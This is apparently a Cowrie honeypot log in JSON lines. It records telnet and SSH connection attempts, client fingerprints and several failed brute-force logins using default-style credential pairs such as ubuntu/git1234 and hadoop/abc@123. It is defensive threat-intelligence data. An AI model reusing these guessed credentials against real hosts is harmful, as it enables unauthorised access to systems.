{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:09.428711Z","src_ip":"194.59.206.2","session":"a69673b4bff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42164,"dst_ip":"159.203.135.109","dst_port":23,"session":"cec51ac07dc7","protocol":"telnet","message":"New connection: 161.97.105.174:42164 (159.203.135.109:23) [session: cec51ac07dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:09.742816Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42178,"dst_ip":"159.203.135.109","dst_port":23,"session":"07c9325bcaab","protocol":"telnet","message":"New connection: 161.97.105.174:42178 (159.203.135.109:23) [session: 07c9325bcaab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:09.846737Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42182,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b45eb85d011","protocol":"telnet","message":"New connection: 161.97.105.174:42182 (159.203.135.109:23) [session: 2b45eb85d011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:11.956121Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42192,"dst_ip":"159.203.135.109","dst_port":23,"session":"4daca4c45682","protocol":"telnet","message":"New connection: 161.97.105.174:42192 (159.203.135.109:23) [session: 4daca4c45682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:13.675977Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42198,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e381beab34f","protocol":"telnet","message":"New connection: 161.97.105.174:42198 (159.203.135.109:23) [session: 2e381beab34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:13.877561Z"}
{"eventid":"cowrie.session.closed","duration":36.24377417564392,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:13.896556Z","src_ip":"161.97.105.174","session":"e8fa1d2b4fb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.9810688495636,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:14.078986Z","src_ip":"161.97.105.174","session":"350d99bb76df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.085906982421875,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:15.039257Z","src_ip":"161.97.105.174","session":"a6e55c1a457a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04690599441528,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:15.852941Z","src_ip":"161.97.105.174","session":"a2b86bcdd1ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42214,"dst_ip":"159.203.135.109","dst_port":23,"session":"4013a9a2fe14","protocol":"telnet","message":"New connection: 161.97.105.174:42214 (159.203.135.109:23) [session: 4013a9a2fe14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:18.284200Z"}
{"eventid":"cowrie.session.closed","duration":31.569641590118408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:19.356373Z","src_ip":"161.97.105.174","session":"2cf2cce7f278","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44588,"dst_ip":"159.203.135.109","dst_port":23,"session":"4889259e242a","protocol":"telnet","message":"New connection: 161.97.105.174:44588 (159.203.135.109:23) [session: 4889259e242a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:24.123144Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.235.96.196","src_port":11887,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d48547f400f","protocol":"telnet","message":"New connection: 223.235.96.196:11887 (10.17.0.5:23) [session: 8d48547f400f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:27.247114Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52354,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d960610dd87","protocol":"telnet","message":"New connection: 161.97.105.174:52354 (159.203.135.109:23) [session: 6d960610dd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:29.316923Z"}
{"eventid":"cowrie.session.closed","duration":32.64807081222534,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:29.944758Z","src_ip":"161.97.105.174","session":"e15a9a1d5f41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52368,"dst_ip":"159.203.135.109","dst_port":23,"session":"999af9782b8f","protocol":"telnet","message":"New connection: 161.97.105.174:52368 (159.203.135.109:23) [session: 999af9782b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:29.998868Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":55722,"dst_ip":"10.17.0.5","dst_port":22,"session":"62796391b0e9","protocol":"ssh","message":"New connection: 202.125.94.71:55722 (10.17.0.5:22) [session: 62796391b0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:31.195858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:31.200567Z","src_ip":"202.125.94.71","session":"62796391b0e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:31.463409Z","src_ip":"202.125.94.71","session":"62796391b0e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git1234","message":"login attempt [ubuntu/git1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:32.549014Z","src_ip":"202.125.94.71","session":"62796391b0e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52380,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fdbfb90c316","protocol":"telnet","message":"New connection: 161.97.105.174:52380 (159.203.135.109:23) [session: 5fdbfb90c316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:33.189673Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":32984,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c57bf479721","protocol":"ssh","message":"New connection: 193.32.162.145:32984 (10.17.0.5:22) [session: 9c57bf479721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:33.566459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:33.574335Z","src_ip":"193.32.162.145","session":"9c57bf479721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:33.684475Z","src_ip":"193.32.162.145","session":"9c57bf479721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:33.814585Z","src_ip":"202.125.94.71","session":"62796391b0e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"postgres","message":"login attempt [solana/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:34.008505Z","src_ip":"193.32.162.145","session":"9c57bf479721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:35.117997Z","src_ip":"193.32.162.145","session":"9c57bf479721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52382,"dst_ip":"159.203.135.109","dst_port":23,"session":"56f8bdfec8a4","protocol":"telnet","message":"New connection: 161.97.105.174:52382 (159.203.135.109:23) [session: 56f8bdfec8a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:35.623665Z"}
{"eventid":"cowrie.session.closed","duration":34.99338102340698,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:35.674809Z","src_ip":"161.97.105.174","session":"1add92dc3f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.409319162368774,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:36.184937Z","src_ip":"161.97.105.174","session":"c8e5a41b6b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68953514099121,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:36.751868Z","src_ip":"161.97.105.174","session":"e43e8d54cdd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52386,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea52b3d4fea7","protocol":"telnet","message":"New connection: 161.97.105.174:52386 (159.203.135.109:23) [session: ea52b3d4fea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:37.567829Z"}
{"eventid":"cowrie.session.closed","duration":37.23245906829834,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:38.682424Z","src_ip":"161.97.105.174","session":"90bd2736976b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":35998,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb99dcfff1fc","protocol":"ssh","message":"New connection: 154.219.100.220:35998 (10.17.0.5:22) [session: cb99dcfff1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:38.997291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:39.002090Z","src_ip":"154.219.100.220","session":"cb99dcfff1fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:39.213661Z","src_ip":"154.219.100.220","session":"cb99dcfff1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.78730821609497,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:40.034316Z","src_ip":"223.235.96.196","session":"8d48547f400f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"abc@123","message":"login attempt [hadoop/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:40.092868Z","src_ip":"154.219.100.220","session":"cb99dcfff1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.307913064956665,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:40.785687Z","src_ip":"161.97.105.174","session":"0c0fab0fd767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59020,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c8a233856ab","protocol":"telnet","message":"New connection: 161.97.105.174:59020 (159.203.135.109:23) [session: 8c8a233856ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:41.195735Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:41.307503Z","src_ip":"154.219.100.220","session":"cb99dcfff1fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59036,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f73926ec88d","protocol":"telnet","message":"New connection: 161.97.105.174:59036 (159.203.135.109:23) [session: 9f73926ec88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:41.917543Z"}
{"eventid":"cowrie.session.closed","duration":35.639012575149536,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:41.961634Z","src_ip":"161.97.105.174","session":"ffeeef4af995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":45684,"dst_ip":"10.17.0.5","dst_port":22,"session":"28bb0202b6c2","protocol":"ssh","message":"New connection: 152.32.130.174:45684 (10.17.0.5:22) [session: 28bb0202b6c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:42.450569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:42.455328Z","src_ip":"152.32.130.174","session":"28bb0202b6c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:42.673147Z","src_ip":"152.32.130.174","session":"28bb0202b6c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"letmein123","message":"login attempt [user/letmein123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:43.577820Z","src_ip":"152.32.130.174","session":"28bb0202b6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.36062455177307,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:44.207287Z","src_ip":"161.97.105.174","session":"07c9325bcaab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:44.798676Z","src_ip":"152.32.130.174","session":"28bb0202b6c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.624287605285645,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:45.223447Z","src_ip":"161.97.105.174","session":"a3eb7ec13176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.5127956867218,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:47.255511Z","src_ip":"161.97.105.174","session":"cec51ac07dc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.584707736968994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:47.260569Z","src_ip":"161.97.105.174","session":"4daca4c45682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.651551485061646,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:47.607586Z","src_ip":"161.97.105.174","session":"2b45eb85d011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.31723189353943,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:48.194665Z","src_ip":"161.97.105.174","session":"2e381beab34f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06098961830139,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:49.345057Z","src_ip":"161.97.105.174","session":"4013a9a2fe14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60642,"dst_ip":"159.203.135.109","dst_port":23,"session":"c944127ade45","protocol":"telnet","message":"New connection: 161.97.105.174:60642 (159.203.135.109:23) [session: c944127ade45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:50.347764Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60654,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96072f936c1","protocol":"telnet","message":"New connection: 161.97.105.174:60654 (159.203.135.109:23) [session: d96072f936c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:54.518348Z"}
{"eventid":"cowrie.session.closed","duration":32.851054668426514,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:56.974117Z","src_ip":"161.97.105.174","session":"4889259e242a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":60662,"dst_ip":"159.203.135.109","dst_port":23,"session":"73994a65dbc3","protocol":"telnet","message":"New connection: 161.97.105.174:60662 (159.203.135.109:23) [session: 73994a65dbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:22:57.623466Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43606,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1febeaf5228","protocol":"telnet","message":"New connection: 161.97.105.174:43606 (159.203.135.109:23) [session: f1febeaf5228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:01.915046Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43618,"dst_ip":"159.203.135.109","dst_port":23,"session":"035fabb1d00b","protocol":"telnet","message":"New connection: 161.97.105.174:43618 (159.203.135.109:23) [session: 035fabb1d00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:03.069386Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":43634,"dst_ip":"159.203.135.109","dst_port":23,"session":"af9c452ee6aa","protocol":"telnet","message":"New connection: 161.97.105.174:43634 (159.203.135.109:23) [session: af9c452ee6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:23:03.115582Z"}
